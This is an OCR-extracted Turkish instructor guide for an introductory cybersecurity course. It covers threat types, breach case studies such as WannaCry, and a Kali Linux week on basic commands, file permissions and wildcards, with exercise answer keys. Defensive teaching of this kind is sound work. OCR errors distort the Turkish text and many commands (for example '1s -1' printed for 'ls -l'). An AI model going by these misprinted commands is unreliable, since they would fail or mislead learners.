Burada 6grencilere “Kasitli olmayan (kazara olusan) tehditler neler olabilir?” sorusu sorularak

ornek vermeleri istenir. Asagidaki 6rnekler ve benzerleri ile tartisma zenginlestirilir.

Kazara olusan tehditler; dogal afetler (deprem, sel, yangin vb.), ariza kaynakh elektrik veya

internet kesintileri, bilgisayar arizalar1 gibi seylerdir.

Siber saldir1 (cyber attack), “sistem giivenligini hedef alan akilli bir tehdit kaynakli saldir1”
olarak tanimlanir (Shirey, 2000). Yani kasitli olmayan tehditler nedeniyle ortaya g¢ikan
durumlara saldir1 denmez. Siber tehdit (cyber threat) kavrami da siber saldirilarin kaynaginda

olan kisilerin saldirida kullandiklar1 yontemleri ve hareketleri ifade eder.

Siber saldir1 yapan kisiler, asagidakilerden birini veya birkagini hedefleyebilirler:
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e Maddi kazang elde etme,
e Sohret elde etme ve bununla dviinme,
e Kars1 tarafa maddi veya manevi zarar verme,

e Onemli bilgileri belli bir amagla ¢alma (6rn. casusluk).

Siber saldir1 yapan kisilere genel olarak saldirgan (attacker) denir. Saldirganlar i¢in kullanilan
bir diger terim siyah sapkali (black hat) hacker terimidir. Siyah sapkali hacker, siber
giivenligi ihlal ederek karsi tarafa zarar vermek veya maddi kazang elde etmek isteyen kisi
demektir. Beyaz sapkal (white hat) hacker veya etik hacker kavrami ise, bir kurumun
izniyle o kuruma ait bilgisayar sistemlerini saldirilara dayaniklilik ve giivenlik agisindan test

edip degerlendiren kisileri tanimlar.

Siber saldirilarla ilgili “Neden?” sorusunu tartistik. Bir diger dnemli soru da “Nasil?”
sorusudur. Siber saldirilarin nasil yapildigini 6ntimiizdeki derslerde drnekler ve uygulamalarla

birlikte ayrintili olarak gorecegiz.

Genel olarak siber tehditler, sistemlerde bulunabilecek zayifliklari (zafiyetleri) kullanirlar. En
basit ve yaygin zayiflik, insanlarda siber giivenlikle ilgili farkindalik eksikligidir. Bu dersi alan
ogrenciler toplumun biiylik bir ¢ogunlugundan daha fazla bilgiye ve farkindaliga sahip

olacaklardir.
Siber tehditler ¢ok gesitlidir:

e Kot amacgh yazilimlar (viriis, casus yazilim vb.),
e Oltalama (phishing),

e Hizmet engelleme (denial of service, DoS),

e Veri sizdirma,

e Yetki calma,

e Aradaki adam (man in the middle) saldirilar

yaygin siber tehditlere 6rnek olarak verilebilir.

Tehditlerin zarar vermesini engellemek veya zararlarini azaltmak i¢in baz1 6nlemler alinir. Bu
noktada 6grencilerden bildikleri onlemleri sdylemeleri istenebilir. En basta gelen onlem,
farkindaligin artirilmasidir. Ciinkii siber giivenlikte birinci sart, bilgi sistemlerinin yetkili
kullanicisi roliindeki kisilerin siber tehditler hakkinda bilingli ve dikkatli olmasidir. Tehditlere

kars1 sik¢a kullanilan bazi diger 6nlemler sunlardir:
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e Kimlik dogrulama ve erisim denetimi araglart (parolalar, akilli kartlar, biyometrik
sistemler vb.): Sistemlere yetkili kisilerin erisebilmesini, diger kisilerin erisiminin
engellenmesini saglayan araglardir.

e Giivenlik yazilimlar1 (antiviriis, bilgisayardaki giivenlik duvari vb.): Sistemin zararl
yazilimlardan ve internet iizerinden gelebilecek olan zararli trafikten korunmasina
yardimci olan yazilimlardir.

e Giivenlik cihazlari (sizma tespit sistemi — IDS, donanim giivenlik modiilii — HSM, derin
paket inceleme cihazi — DPI vb.): Genellikle bilgisayarlarin bagli oldugu aglarin iginde
konuslanan, ag trafigi iizerinde incelemeler yapan ve cesitli giivenlik kurallarmi
uygulayan cihazlardir.

e Giivenli yazilim gelistirme teknikleri: Yazilimlarda saldirganlarin kullanabilecegi
zayifliklarin ortaya ¢ikmasini 6nleme amacli yontemlerdir.

e Kriptografi ve giivenli iletisim teknikleri: Gonderici(ler) ile alici(lar) arasinda iletilen
verinin temel giivenlik 06zelliklerini (gizlilik, biitlinliik, kimlik dogrulama vb.)
korumakta kullanilan yontemlerdir.

Siber glivenlik ancak bu gibi 6nlemlerin bir arada kullanilmasiyla saglanabilir. Higbir 6nlem

tek basina yeterli glivenlik saglayamaz.

4. TASARLA VE URET: VAKA CALISMASI

Bu boéliim i¢in toplam 45 dk siire yeterli olacaktir.

Bu bolimde, son yillarda diinyada gergeklesen bazi siber saldirilar hakkinda tartisma
yiiriitiilecek ve bu saldirilara kars1 alinabilecek temel giivenlik 6nlemleri diisiiniilerek ¢oziimler
tasarlanacaktir. En az iki, siire yeterse li¢ farkli vaka incelenebilir. Asagida bazi 6rnek olaylar

verilmistir. Egitmen giincel olaylar arastirarak bunlara eklemeler yapabilir.

e WannaCry fidye yazilimi saldirisi1 (2017): Bu saldiri, Microsoft Windows isletim
sistemine sahip bilgisayarlar1 hedef alan bir kripto-solucan tarafindan, verileri
sifreleyerek ve Bitcoin kripto para biriminde fidye Odemeleri talep ederek
gergeklestirilen diinya ¢apinda bir siber saldiriydi. Windows sistemlerinde bulunan bir
acikliktan faydalantyordu. Her ne kadar Microsoft bu agiklig1 kapatmak i¢in daha 6nce
yamalar yaymlamis olsa da, WannaCry genellikle bu yamalar1 uygulamayan veya
kullanim Omriinii doldurmus eski Windows sistemlerini kullanan kuruluslarda hizla

yayillmay1 basardi. Bu yamalar bir kurulusun siber giivenligi i¢in zorunluydu, ancak
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¢ogunlukla ihmal, bilgisizlik, yanlis yonetim, personel veya zaman yetersizligi ve
durumun Oneminin farkinda olmama gibi nedenlerle uygulanmamisti (Whittaker,

2019).

e Air India veri sizintis1 (2021): 21 Mayis 2021'de Air India adli havayolu sirketinin bir
siber saldirtya maruz kaldigi ve diinya ¢apinda yaklasik 4,5 milyon miisterinin pasaport,
kredi karti bilgileri, dogum tarihleri, isim ve bilet bilgileri dahil kisisel bilgilerinin ele
gecirildigi bildirildi (Satija, 2021).

e Microsoft Exchange Server veri sizintis1 (2021): Sirket ici Microsoft Exchange
Server’daki dort sifirinct giin agikligr (heniiz varligi bilinmeyen veya bilindigi halde
giderilmemis agiklik) tizerinden Ocak 2021'de baslatilan kiiresel bir siber saldir1 dalgas1
sonucunda saldirganlar, etkilenen sunuculardaki kullanici e-postalarina ve parolalarina
tam erisim, sunucuda yonetici ayricaliklari ve aga bagli cihazlara erisim izni elde ettiler.
Saldirganlar, sunuculara tam erisime izin veren bir arka kapi1 kurarak saldirilari
gerceklestirdiler. 9 Mart 2021 itibariyle, ABD'deki yaklasik 30.000 kurulus, Birlesik
Krallik'taki 7.000 sunucu ve Avrupa Bankacilik Otoritesi, Norve¢ Parlamentosu ve Sili
Mali Piyasa Komisyonu sunuculart da dahil olmak iizere toplam 250.000 sunucunun
saldirilara kurban gittigi tahmin edildi (Duffy, 2021; O’Donnell, 2021). Kii¢iik ve orta
Olcekli isletmeler, yerel kurumlar ve yerel yonetimler, siber giivenligi saglama
konusunda genellikle daha kiigiik biitcelere ve daha az deneyime sahip olduklar i¢in
saldirinin ana kurbanlari olarak one ¢iktilar (Whittaker, 2021).

Once egitmen tarafindan 6rnek olay birkag ciimleyle anlatilir. Daha sonra dgrenciler 3-4 kisilik
gruplara béliinerek incelenen saldir1 hakkinda asagidaki sorulari yanitlamaya caligmalar

istenir. Daha sonra her gruba yanitlari sorularak bu yanitlar tartigilir.

e Bu saldiriy1 yapanlar ne elde etmeyi hedeflemis olabilirler?

e Bu saldirinin zararlari neler olabilir?

e Bu saldirinin zararlarini azaltmak icin neler yapilabilir?

¢ Bu saldiridan korunmak i¢in alinabilecek gilivenlik dnlemleri nelerdir?

e Yukarida bahsedilen 6nlem c¢esitlerinden tigiinii secerek bu saldiriya karsi bir savunma

yaklasimi tasarlamak isteseniz neleri segersiniz? Neden?
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5. DEGERLENDIR

Bu boliim i¢in 15 dk siire yeterli olacaktir.
Egitmen 6grencilerine asagidaki sorular1 sorarak yanitlari iizerinden tartismay yonlendirir.

e Giinliik hayatinizda siber giivenlige iliskin hangi 6nlemleri aliyorsunuz?
e Bu dersten sonra daha fazla dikkat edeceginiz veya farkli yapacaginiz bir sey var mi1?

e Sizi en ¢ok endiselendiren siber tehdit hangisidir?

6. EK ETKINLIK: SIBER SALDIRI TASARLAMA

Egitmen 6grencilerin gruplar halinde asagidaki etkinligi yapmalarini saglar.

Bir siber savas durumunda diismani zor durumda birakacak bir saldir1 yapmak istediginizi
diistinerek asagidaki sorulari cevaplayiniz ve sonrasinda cevaplarinizi diger gruplarla

paylasiniz.

e Saldirida neyi hedef alacaksiniz?
e Saldiridan elde etmek istediginiz sonuglar nelerdir?

e Bu saldin i¢in kag kisilik bir ekibe ve ne kadar zamana ihtiya¢ duyacaginizi tahmin

ediyorsunuz?
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HAFTA 2. KALI LINUX

AMAC

Bu boliimiin amaci, 6grencilere Kali Linux isletim sistemini tanitmaktir. Bu kapsamda, temel
bazi Linux komutlar1 ve araglar1 drneklerle agiklanacaktir. Ogrencilerin birtakim uygulamalar

yaparak 0grendiklerini gdstermeleri ve pekistirmeleri hedeflenmistir.

BOLUM KAZANIMLARI

Bu boliimii tamamlayan bir 6grenci,

e Kali Linux’taki Terminal uygulamasin kullanir.

e Linux’taki dizin yapisiyla ilintili temel komutlar1 ¢esitli sekillerde ¢aligtirir.

e Linux’taki dosya erigim izinlerini goriintiiler, aciklar ve degistirir.

e Terminalden dosya igerigi goriintiileme ve ¢ikt1 yonlendirme islemlerini yapar.

e Linux’ta dosyalar bir dizinden baska bir dizine kopyalar.

KULLANILACAK MATERYAL VE ARACLAR

Bilgisayar, VirtualBox, Kali Linux, kagit, kalem

HAFTANIN I{SLENiSi

Gozle Linux’a giris ve terminal ekrani
Temel dizin manipiilasyon komutlar
Dosya erisim izinleri

Cikt1 yonlendirme
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Uygula Dosya inceleme ve izin degistirme
Cikt1 yonlendirme

Ilave etkinlik: Ozel sembol (wildcard) kullanimi

Tasarla ~ ve Bu haftanin iceriginde Tasarla ve Uret bileseni bulunmamaktadir.

Uret

Degerlendir ~ Haftanin igeriginin degerlendirilmesi ve calismanin devam ettirilmesine

yonelik oneriler

1. GOZLE: TEMEL KAVRAMLAR VE KOMUTLAR

Bu boliimde Kali Linux ile ilgili temel kavramlar ve komutlar tanitilacaktir. Boliim i¢in 80

dakika siire yeterli olacaktir.

1.1. GIRIS

Linux isletim sisteminin ¢ekirdegi 1991 yilinda Finlandiyali Linus Torvalds tarafindan
gelistirilmistir. Yillar icinde bu ¢ekirdegin etrafinda cesitli kisilerin katkilariyla uygulamalar
gelistirilmis ve Linux giderek daha kullanish hale gelmistir. Linux, Microsoft Windows kadar

olmasa da yaygin kullanilan bir isletim sistemidir.

Linux’un, ge¢misi 1970’lere dayanan Unix’e benzer bir isletim sistemi oldugu sdylenebilir
ancak Linux bir Unix ¢esidi degildir. Linux’un Ubuntu, Fedora, Red Hat gibi kendi dagitimlari
bulunmaktadir. Kali Linux siber giivenlik odakli gelistirilmis olan ve iginde giivenlikle ilgili

bir¢ok yazilimi bulunduran bir dagitimdir.

Kali Linux ve icindeki araclar yaygin olarak sizma testi (penetration testing) i¢in kullanilir.
Dogrudan bilgisayara yiiklenebildigi gibi sanal makine (virtual machine) {izerinde, bulutta veya
mobil cihazlarda kullanilabilir. Kali Linux i¢inde yer alan cesitli araglarin kullanim

amaclarindan bazilar1 sunlardir:

e Parola kirma

e Agtarama

e Ag paket analizi

e Veritabanina saldiri

e Kablosuz aga saldir1
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e Web uygulama giivenlik taramasi

Kali Linux hakkinda ayrintili bilgiler ve dokiimanlar resmi sitesinde bulunabilir:

https://www.kali.org/

Kali Linux’u diger Linux dagitimlarindan ayiran araglar hakkinda bilgi i¢in su sayfaya

basvurulabilir: https://www.kali.org/tools/. Bu araglardan bazilar1 ilerleyen derslerde

kullanilacaktir.

1.2. TERMINAL EKRANI

Terminal ekrani, Linux sistemlerinde komutlart ve programlar1 calistirmak icin yogun

kullanilan bir aragtir.

Egitmen bir terminal ekrani acar ve 6grencilerden de kendi Kali Linux pencerelerinde terminal

ekran1 agmalarini ister. Terminal ekran1 agmanin birkag farkli yolu asagida verilmistir:

e Ctrl+Alt+T tuslarina birlikte basmak,
e Masaiistiinde varsa Terminal simgesine tiklamak,
e Arama kutusunda “terminal” yazarak ¢ikan uygulamay1 agmak
Burada incelenebilecek ilk komut, 1s komutudur. 1s, belli bir dizinin igerigini (i¢indeki

dosyalar1 ve diger dizinleri) goriintiilemeye yarar. Asagidaki adimlar izlenir.

Linux’ta kiigiik harf — biiyiik harf ayrimi1 vardir. Bu nedenle, 1s komutu Ls veya LS seklinde

yazilirsa ¢alismaz. Bu ayrim biitiin komutlar ve dosya adlar i¢in gegerlidir.

1. Egitmen ve 6grenciler terminal ekranina agsagidaki komutu yazarak Enter’a basar.
1s

Bu komutun sonucunda mevcut dizinin icerigi goriintiilenmis olur.

2. Egitmen ve dgrenciler terminal ekranina asagidaki komutu yazarak Enter’a basar.
1s -a

Komut bu sekilde kullanildiginda mevcut dizinin icindeki gizli dosyalar da goriintiilenir. Bu
komut sonucunda ilk komuttakinden daha fazla sayida dosya (ilk komuttakilere ek olarak baska

dosyalar) goriilecektir.


https://www.kali.org/
https://www.kali.org/tools/
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3. Egitmen ve 6grenciler terminal ekranina asagidaki komutu yazarak Enter’a basar.
1s -1

Komut bu sekilde kullanildiginda mevcut dizinin i¢indeki dosyalar uzun formatta, yani
adlarinin yan1 sira dosyalara ait bagka ayrintilar da goriintiilenir. Bu komutun c¢iktisinda yer
alan bilgiler su sekildedir:

¢ Birinci siitunda dosyanin erigim izinleri,

e Ikinci siitunda dosyaya verilen baglant1 sayisi,

e Ugiincii ve dordiincii siitunlarda dosyanin sahibi ve grubu,

e Besinci siitunda dosyanin boyutu (byte cinsinden),

e Altinci siitunda dosyanin son degistirilme zamant,

¢ Yedinci siitunda dosyanin ad1

4. Egitmen ve dgrenciler terminal ekranina asagidaki komutu yazarak Enter’a basar.
ls -al
Komut bu sekilde kullanildiginda mevcut dizinin i¢indeki tiim dosyalar (gizli dosyalar dahil)

uzun formatta goriintiilenir.

1.3. LINUX DIZIN YAPISI VE ILGILI KOMUTLAR

Bir¢ok isletim sisteminde oldugu gibi Linux’ta da hiyerarsik dosya sistemi yapisi vardir.
Dizinler ve dosyalar, en listte yer alan kok (root) dizininden baslayarak asagiya dogru bir agac

yapist igerisinde organize edilir. Her dizinin altinda dosyalar ve baska dizinler yer alabilir.
Asagidaki komutlarin her biri 6grencilere uygulamali olarak agiklanir.

1. pwd: Print working directory (calisilan dizini yazdir) ifadesinin kisaltmasi olan pwd

komutu, i¢inde bulunulan dizinin sistemdeki tam adresini gosterir.
Egitmen ve 6grenciler terminal ekranina asagidaki komutu yazarak Enter’a basar.
pwd

Bu komutun sonucunda mevcut dizinin sistemdeki tam adresi goriintiilenmis olur.

2. cd: Change directory (dizin degistir) ifadesinin kisaltmasi olan cd komutu, mevcut
dizinden baska bir dizine ge¢mekte kullanilir. cd kelimesinden sonra gelen dizin, gidilecek

hedef dizindir. Yan yana iki nokta (. .) bir tst dizini temsil eder.
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Egitmen ve 6grenciler terminal ekranina asagidaki komutu yazarak Enter’a basar.
cd ..

Bu komutun sonucunda bir iist dizine ge¢ilmis olur. Bundan sonra, dizinin i¢indekileri ayrintili

bigimde goriintiilemek i¢in asagidaki komut kullanilabilir.
1s -1

Goriintiilenen dizinlerden herhangi birine gegmek i¢in cd kelimesinden sonra dizin ad1 yazilip
Enter’a basilarak ge¢is yapilabilir. cd komutu birkag kere farkli sekillerde kullanilarak dizinler
arasinda gezinti yapilabilir. Home (ev) dizinine donmek i¢in komut asagidaki sekilde tek basina

kullanilabilir.

cd

3.mkdir: Make directory (dizin yap) ifadesinin kisaltmasi olan mkdir komutu, yeni bir dizin

olusturmak i¢in kullanilir. mkdir kelimesinden sonra gelen kelime, olusturulacak yeni dizinin

adidir.

Egitmen ve Ogrenciler terminal ekraninda Ev dizinine dondiikten sonra asagidaki komutu

yazarak Enter’a basar.
mkdir deneme
Mevcut dizinin altinda deneme adli yeni bir dizin olusturuldugu, 1s komutu kullanilarak

gortilebilir.

1.4. DOSYA ERISIM IZINLERI

Linux’ta dosya erisim izinleri, kimin hangi dosya ile ne yapabilecegini belirler. Linux’ta

dizinler de aslinda birer dosyadir ve dizinler i¢in de erigim izinleri tanimlanir.
Linux’ta bir dosya i¢in tanimli ii¢ kullanic1 sinifi bulunmaktadir:

e Sahip (owner, u): Dosyay1 olusturan kullanici
e  Grup (g): Sinirh ve belli bir kullanici grubu
e Digerleri (others, 0): Diger herkes

Erisim izinleri, yukaridaki kullanici simiflarimin her birinin dosyaya hangi sekilde erisim

saglayabilecegini, yani dosyayla ne yapabilecegini belirler. Erisim izinleri {i¢ ¢esittir:

e Oku (read, r): Dosyanin okunabilecegi anlamina gelir.
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e Yaz (write, w): Dosyaya yazilabilecegi yani dosya igeriginin degistirilebilecegi
anlamina gelir.

e Calistir (execute, x): Dosyanin bir program gibi calistirilabilecegi anlamina gelir.

Terminal ekraninda 1s -1 komutu calistirildiginda gelen ilk siitunda dosya izinleri
gosterilmektedir. Her izin 10 sembol ile ifade edilir. Ik sembol -’ (tire) ise dosya, ‘d’ ise dizin
oldugu anlamia gelir. Sonraki 3 sembol sahibin izinlerini, diger 3 sembol grubun izinlerini,

sondaki 3 sembol de diger kullanicilarin izinlerini gosterir.
Ornekler: Asagida birkag drnek izin ve anlamlar verilmektedir.

-rwxr-xr-x => Dosyanin sahibinin okutyaz+calistir, grubunun okutgalistir, diger

kullanicilarin oku+cgalistir izinlerine sahip oldugunu gosterir.

“PW------- —> Dosyanin sahibinin oku+yaz izinlerine sahip oldugunu, grubunun veya diger

kullanicilarin higbir izne sahip olmadigini gosterir.

dr-xr--r-- -> Dizinin sahibinin oku+galistir izinlerine, grubunun ve diger kullanicilarin oku

iznine sahip oldugunu gosterir.
Not: Bir dizin i¢in;
okuma (r) izni, dizin i¢indeki dosyalarin isimleri ve diger bilgilerinin 1s komutuyla

gorlintiilenebilmesini,

yazma (w) izni, dizin i¢ine dosya kopyalama, dizindeki dosyalari silme veya yeniden

adlandirma gibi degisikliklerin yapilabilmesini,

calistir (x) izni, cd komutuyla dizin i¢ine girilebilmesini saglar.

Dosya izinlerini degistirmek amaciyla chmod (change mode) komutu kullanilir. Komutun
kullanimi su sekildedir:

chmod [ul|g|o|a] [+|-]=] [r|w|x] dosya(lar)

Gortldiigii gibi, chmod kelimesinden sonraki ilk kisim kimin izinlerinin degistirilecegini (u:
sahip, g: grup, o: digerleri, a: hepsi), ikinci kisim islem tiiriinii (izin ekleme, izin ¢ikarma, izin
esitleme), tliglincli kisim izin tiirlinii, dordiincii kisim da islem yapilacak dosya ad(lar)ini

belirler.

Ornekler: Asagida bazi 6rnek izin degistirme islemleri verilmektedir. Bu drnekleri egitmen ve

ogrenciler birlikte uygulayarak incelemelidir.
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1. Asagidaki komutlar1 terminalde ¢alistiriniz.
touch dosyal
1s -1

touch komutu ile =rw-r--r-- izinlerine sahip dosyal adli bos bir dosya olusturulmus

oldugu goriilecektir.

2. Asagidaki komutlar ¢alistiriniz.
chmod u+x dosyal
1s -1

dosyal i¢in dosya sahibine c¢alistirma izni eklenmistir.

3. Asagidaki komutlar1 ¢alistiriniz.
chmod a-w deneme
1s -1

deneme dizini i¢in herkesin yazma (degistirme) izni kaldirilmistir.

4. Asagidaki komutlari ¢alistiriniz.
chmod ug=rw dosyal
1s -1

dosyal igin sahibinin ve grubunun izinleri okuma+yazma olarak belirlenmistir.

1.5. CIKTI YONLENDIRME

Linux’ta programlar terminalden calistirildiklarinda ciktilar1 genellikle terminale yazilir.
Ancak bazi durumlarda ¢iktilar1 bir dosyaya kaydetmek isteyebiliriz. Bunu yapmak igin >

semboliinii kullanabiliriz.
Egitmen ve 6grenciler asagidaki komutu caligtirirlar.

ls -1 > dosya2



Bolim 2: Kali Linux

Bunun sonucunda, 1s -1 komutunun ¢iktisi, dosya2 adli dosyanin igine kaydedilmis olur.
Linux’ta cat komutu, bir dosyay1 agmadan igerigini goriintiilemek i¢in kullanilir. Bu komutu

asagidaki sekilde galistiralim.

cat dosya2

Ekranda goriildiigii gibi, az 6nceki 1s -1 komutunun ¢iktis1 dosya?2 iginde yer almaktadir.
Simdi asagidaki komutlari ¢aligtiralim.

cat dosya2 > dosya3

cat dosya3

Yukaridaki iki cat komutundan ilkinin sonucunda ekrana bir sey yazilmamustir. Ikinciden

sonra ise ¢ikt1 ekranda goriilmiistiir. Bunun neden bdyle oldugu dgrencilerle tartigilir.

Yamt: Ik cat komutu, ¢ikti yonlendirme ile birlikte kullanilmis ve ¢ikti dosya3 igine

yazilmistir. ikinci cat komutu ise dosya3’iin icerigini ekrana yazdirmistir.

2. UYGULA

2.1. DOSYA INCELEME VE iZiN DEGISTIRME

Bu boliimde 6grencilerin bolim sonunda verilen Ek 2.1 ig¢indeki problemleri 40 dk iginde
cozmeleri istenir. Etkinligin baslangicinda egitmen EK 2.1 dosyasini dgrencilerle paylasir ve
ogrencilerin her problem icin verilen agiklamalari takip ederek dosyayr doldurmalari
gerektigini belirtir.

Egitmen, 6grencilerin etkinlik boyunca ilerlemelerini sorularla takip ederek cogu 6grencinin
takildig1 bir adim varsa yardim edebilir. Daha sonra 6grenciler ¢ozlimlerini gosteren dosyay1
egitmene gonderir. Egitmen, 10 dk siire i¢inde 6rnek ¢oziimleri paylasirken 6grencilerin kendi

cozlimlerinin dogru olup olmadigini1 gorebilirler. Dersten sonra egitmen dgrencilerin ¢ézim

dosyalarini inceleyerek kaginct adima kadar ilerleyebildiklerini degerlendirir.
Etkinligin Yanitlari:

1. mkdir ~/Uygulamalar

2. cd Uygulamalar
mkdir Hafta2
cd Hafta2
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3. pwd
/home/kali/Uygulamalar/Hafta2 (sisteme gore degisebilir)

4. cd /usr/libexec

5. 1s -1 veya 1ls -1S (boyuta gore sirali gosterir)

xdg-desktop-portal (sisteme gore degisebilir)

6. cp xdg-desktop-portal /home/kali/Uygulamalar/Hafta2 (sisteme gore
degisebilir)

7. cd /home/kali/Uygulamalar/Hafta2

8. 1s -1

-rwxr-xr-x (sisteme gore degisebilir)
9. chmod o-x xdg-desktop-portal (dosya adi sisteme gore degisebilir)

10.1s -1

-rwxr-xr-- (sisteme gore degisebilir)

2.2. CIKTI YONLENDIRME

Bu boliimde 6grencilerin bolim sonunda verilen Ek 2.2 igindeki problemleri 40 dk iginde
cozmeleri istenir. Etkinligin baslangicinda egitmen EK 2.2 dosyasini dgrencilerle paylasir ve
ogrencilerin her problem i¢in verilen agiklamalari takip ederek dosyayr doldurmalari
gerektigini belirtir.

Egitmen, 6grencilerin etkinlik boyunca ilerlemelerini sorularla takip ederek ¢ogu 6grencinin
takildig1 bir adim varsa yardim edebilir. Daha sonra 6grenciler ¢oziimlerini gosteren dosyayi
egitmene gonderir. Egitmen, 10 dk siire i¢cinde 6rnek ¢ozlimleri paylasirken dgrencilerin kendi
cozlimlerinin dogru olup olmadigini gorebilirler. Dersten sonra egitmen Ogrencilerin ¢ézim

dosyalarin1 inceleyerek kaginct adima kadar ilerleyebildiklerini degerlendirir.
Etkinligin Yamitlari:
1. touch dosyal dosya2 dosya3 dosyall dosya2l dosya22
2. chmod a=r dosyal dosyall dosya2l (farkli ¢6ziimler olabilir)
3. 1s -al > dosya2

4. cat dosya2 > dosyal

zsh: permission denied: dosyal (mesaj sisteme gore degisebilir)

5. dosyal salt okunur oldugundan i¢ine yazma islemi hata verdi. dosyal'e yazma

izni eklemeliyiz.

chmod u+w dosyal
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cat dosya2 > dosyal

3. TASARLA VE URET

Bu haftanin igeriginde Tasarla ve Uret bileseni bulunmamaktadir.

4. DEGERLENDIR

Bu boliim i¢in 20 dk siire yeterli olacaktir.
Egitmen 6grencilerine asagidaki sorular1 sorarak yanitlari iizerinden tartismay1 yonlendirir.

e Bugiin 6grendiginiz komutlarin i¢inde en zoru hangisiydi? Neden?

e Sizce daha alistk oldugunuz pencereli arayiliz yerine terminal ekrani arayiiziinii
kullanmanin avantajlar1 ve zorluklari nelerdir?

e Linux yiikleme sonrasinda yaptiginiz hazirlik ve inceleme sonucunda, Windows’ta
kullandigimiz ancak Linux’ta bulamadigimiz 6zellikler ve programlar neler olmustur?

Bunlarin Linux’taki alternatifleri hakkinda ders sonrasinda arastirma yapiniz.

5. EK ETKINLIK: OZEL SEMBOLLER (WILDCARDS)

Bu boliimde 6grencilerin EK 5 igindeki problemleri yine EK 5 iginde verilen agiklamalar
dogrultusunda ¢ozerek ilerlemeleri istenir. Etkinligin baslangicinda egitmen Ek 5 dosyasini
ogrencilerle paylasir ve 6grencilerin her problem i¢in verilen acgiklamalar takip ederek dosyay1

doldurmalar1 gerektigini belirtir.

Daha sonra 6grenciler yanitlarini gosteren dosyay1 egitmene gonderir. Egitmen, 10 dk siire
icinde asagidaki dogru yanitlar1 paylasirken Ogrencilerin kendi yanitlarinin dogru olup
olmadigini gorebilirler. Dersten sonra egitmen Ogrencilerin yanit dosyalarini inceleyerek

degerlendirir.

Etkinligin Yamtlari: Egitmen etkinlik bitiminde asagidaki yanitlar1 6grencilerle paylasip
tartisma yurutur.

2. rm komutu, dosya silme komutudur. a? seklindeki kelime, a ile baglayan iki harfli kelimelerin

yerine gectigi icin, buna uyan al ve a9 adli dosyalar silinmistir.
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3. *1 seklindeki kelime, 1 ile biten kelimelerin yerine gectigi i¢in, buna uyan all adli dosya
silinmistir.

4. a* seklindeki kelime, a ile baslayan kelimelerin yerine gegtigi i¢in, buna uyan aaa ve abc

adli dosyalar silinmistir.
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Ek 2.1. Dosya Inceleme ve izin Degistirme Uygulamas1 Adimlar1

1. Ev (home) dizininizin altinda Uygulamalar adl1 yeni bir dizin olusturunuz.

Komut:

2. Uygulamalar dizinine giriniz. Bu dizinin altinda Hafta2 adli yeni bir dizin olusturunuz ve

Hafta2 dizinine giriniz.

Komut 1:
Komut 2:
Komut 3:

3. Iginde bulunulan dizinin sistemdeki tam adresini gdsteren komutu calistiriniz. Komutu ve

¢iktisini (sonucunu) asagidaki kutuya yaziniz.

Komut:

Ciktist:

4. Tek adimda /usr/libexec dizinine gidiniz. (Ipucu: Gerekli komutun yanina adres yazilarak
gidilebilir.)

Komut:

5. Bu dizin i¢indeki dosyalar1 boyutlartyla birlikte goriintiileyiniz. En biiylik boyutlu dosyay1

bulunuz.

Komut:

Dosya adi:
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6. Buldugunuz dosyay1 Hafta2 adli dizinin altina kopyalayacaksiniz. Kopyalama islemi i¢in cp
komutunu kullanacaksiniz. cp kelimesinin yanina bir bosluk koyduktan sonra 5. adimda
buldugunuz dosyanin adini, sonra bir bosluk daha koyarak 3. adimda not aldiginiz adresi

yazarak Enter’a basiniz.

Komut:

7. Kopyalama isleminden sonra tek adimda Hafta2 dizinine doniiniiz. (Ipucu: 3. adimda not

aldiginiz adresi kullanabilirsiniz.)

Komut:

caligtiriz. Once komutu, sonra da gordiigiiniiz tek dosyanin erigim izinlerini asagidaki kutuya

yazmiz.

Komut:

Erisim izinleri:

9. Bu dosyanin “Digerleri” i¢in “Calistir” iznini kaldiriniz.

Komut:

10. Dosyanin ayrintilarini tekrar goriintiileyiniz. Kullandiginiz komutu ve gérdiigiiniiz erisim

izinlerini asagidaki kutuya yaziniz ve 8. adimdaki izinlerle karsilagtiriz.

Komut:

Erisim izinleri:
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Ek 2.2. Cikt1 Yonlendirme Uygulamasi Adimlari

1. Onceki uygulamada olusturdugunuz Hafta2 dizini altinda dosyal, dosya2, dosya3, dosyall,
dosya21, dosya22 adli 6 tane bos dosya olusturunuz (touch ile).

Komut:

2. Adi 1 ile biten dosyalar1 salt okunur (read-only) yapiniz. (Ipucu: Erisim izni degistiren

komutu kullanarak dosyalarda sadece oku izni bulunmasini saglayabilirsiniz.)

Komut:

3.1s -al komutunu uygun bigimde ¢alistirarak ¢iktisin1 dosya2 igine yaziniz. (ipucu: Cikti

yonlendirme)

Komut:

4. Bolim 1.5te tanitilan cat komutunu ve c¢iktt yonlendirmeyi kullanarak, dosya2’nin
igindekileri dosyal’e yaziniz. (Ipucu: Hata almaniz beklenmektedir. Hata mesajin1 da kutuya

yaziniz.)

Komut:

Hata mesaji:
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5. Bir 6nceki adim sonucunda ne oldu? Neden? Bunu ¢6zmek i¢in ne yapmaliy1z? Bu sorulari
yanitlayarak ¢6ziim bulunuz ve dosya2’nin i¢indekileri dosyal’e yazma islemini tamamlayiniz.

(Ipucu: Sorun ve ¢oziimii yukaridaki maddelerin birinde gizli.)

Yanit:

Sorunu ¢6zen komutlar:
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Ek 5. Ozel Sembol Kullanimi Uygulamasi Adimlari

Bir dizin iginde adi a harfi ile baslayan biitiin dosyalar1 silmek istedigimizi diisiinelim. Bunu

nasil yapabiliriz?

Bunun bir yolu, 1s komutunu kullanarak dosyalar listeledikten sonra a ile baslayanlar1 goriip

tek tek silmektir. Ancak a ile baslayan dosya sayisi ¢oksa, bu zahmetli bir is olabilir.

Linux’ta bu tir islemleri kolaylagtiran bazi 6zel semboller bulunur. Bunlardan ikisini

inceleyelim.

? sembolii: Soru isareti sembolii, herhangi bir tek karakter yerine geger. Ornegin, a?c
seklindeki kelimenin karsilig1 abc, azc, alc, aBc vb. kelimelerdir, yani a?c bunlarin hepsinin

yerine gegebilir.

* sembolii: Yildiz semboli, sifir veya daha fazla sayida (iist sinir yok) karakter yerine geger.
Ornegin, d* kelimesinin karsilig1 dosyal, dizinl, deneme, deneyap, dondurma vb. olabilir.
Benzer sekilde, *.c seklinde yazilan ifade, adi .c ile biten biitlin dosyalar1 temsilen

kullanilabilir.

Bu aciklamalarin ardindan asagidaki adimlar izlenir.

1. ilk basta, dizinl adli yeni bir dizin ve altinda baz1 dosyalar olusturmak amaciyla terminal

ekraninda asagidaki komutlari ¢alistiriniz.
cd

mkdir dizinl

cd dizinl

touch al abc aaa a9 all

1s -1

Icinde bulundugumuz dizinl altinda al, abc, aaa, a9, all adl 5 tane bos dosya

